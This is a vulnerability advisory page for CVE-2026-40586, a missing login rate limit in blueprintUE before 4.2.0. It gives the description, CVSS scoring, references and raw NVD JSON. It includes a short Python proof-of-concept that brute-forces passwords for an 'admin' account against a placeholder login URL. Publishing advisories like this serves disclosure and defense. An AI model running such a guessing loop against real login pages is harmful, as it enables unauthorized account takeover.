CVE-2026-40586

Description

blueprintUE is a tool to help Unreal Engine developers. Prior to 4.2.0, the login form handler performs no throttling of any kind. Failed authentication attempts are processed at full network speed with no IP-based rate limiting, no per-account attempt counter, no temporary lockout, no progressive delay (Tarpit), and no CAPTCHA challenge. An attacker can submit an unlimited number of credential guesses. The password policy (10+ characters, mixed case, digit, special character) reduces the effective keyspace but does not prevent dictionary attacks, credential stuffing from breached databases, or targeted attacks against known users with predictable passwords. This vulnerability is fixed in 4.2.0.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

blueprintUE < 4.2.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target URL (replace with actual target)
target_url = "http://target-blueprintue.example.com/login"

# List of passwords to test
passwords = ["password123", "admin@123", "UnrealEngine!1"]
username = "admin"

for pwd in passwords:
    # Payload for login request
    payload = {
        "username": username,
        "password": pwd
    }
    
    try:
        # Sending POST request to login endpoint
        # Note: No rate limiting or throttling is present
        response = requests.post(target_url, data=payload)
        
        # Check if login was successful (adjust based on actual response)
        if response.status_code == 200 and "Login successful" in response.text:
            print(f"[+] Password found: {pwd}")
            break
        else:
            print(f"[-] Failed attempt with: {pwd}")
            
    except Exception as e:
        print(f"Error: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-40586
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-40586
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-40586/
[4] VulDB https://vuldb.com/cve/CVE-2026-40586
[5] https://github.com/blueprintue/blueprintue-self-hosted-edition/security/advisories/GHSA-m6c2-6p3h-8jv2
[6] https://github.com/blueprintue/blueprintue-self-hosted-edition/security/advisories/GHSA-m6c2-6p3h-8jv2

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-40586", "sourceIdentifier": "[email protected]", "published": "2026-04-21T17:16:56.523", "lastModified": "2026-04-22T21:16:27.863", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "blueprintUE is a tool to help Unreal Engine developers. Prior to 4.2.0, the login form handler performs no throttling of any kind. Failed authentication attempts are processed at full network speed with no IP-based rate limiting, no per-account attempt counter, no temporary lockout, no progressive delay (Tarpit), and no CAPTCHA challenge. An attacker can submit an unlimited number of credential guesses. The password policy (10+ characters, mixed case, digit, special character) reduces the effective keyspace but does not prevent dictionary attacks, credential stuffing from breached databases, or targeted attacks against known users with predictable passwords. This vulnerability is fixed in 4.2.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-307"}]}], "references": [{"url": "https://github.com/blueprintue/blueprintue-self-hosted-edition/security/advisories/GHSA-m6c2-6p3h-8jv2", "source": "[email protected]"}, {"url": "https://github.com/blueprintue/blueprintue-self-hosted-edition/security/advisories/GHSA-m6c2-6p3h-8jv2", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}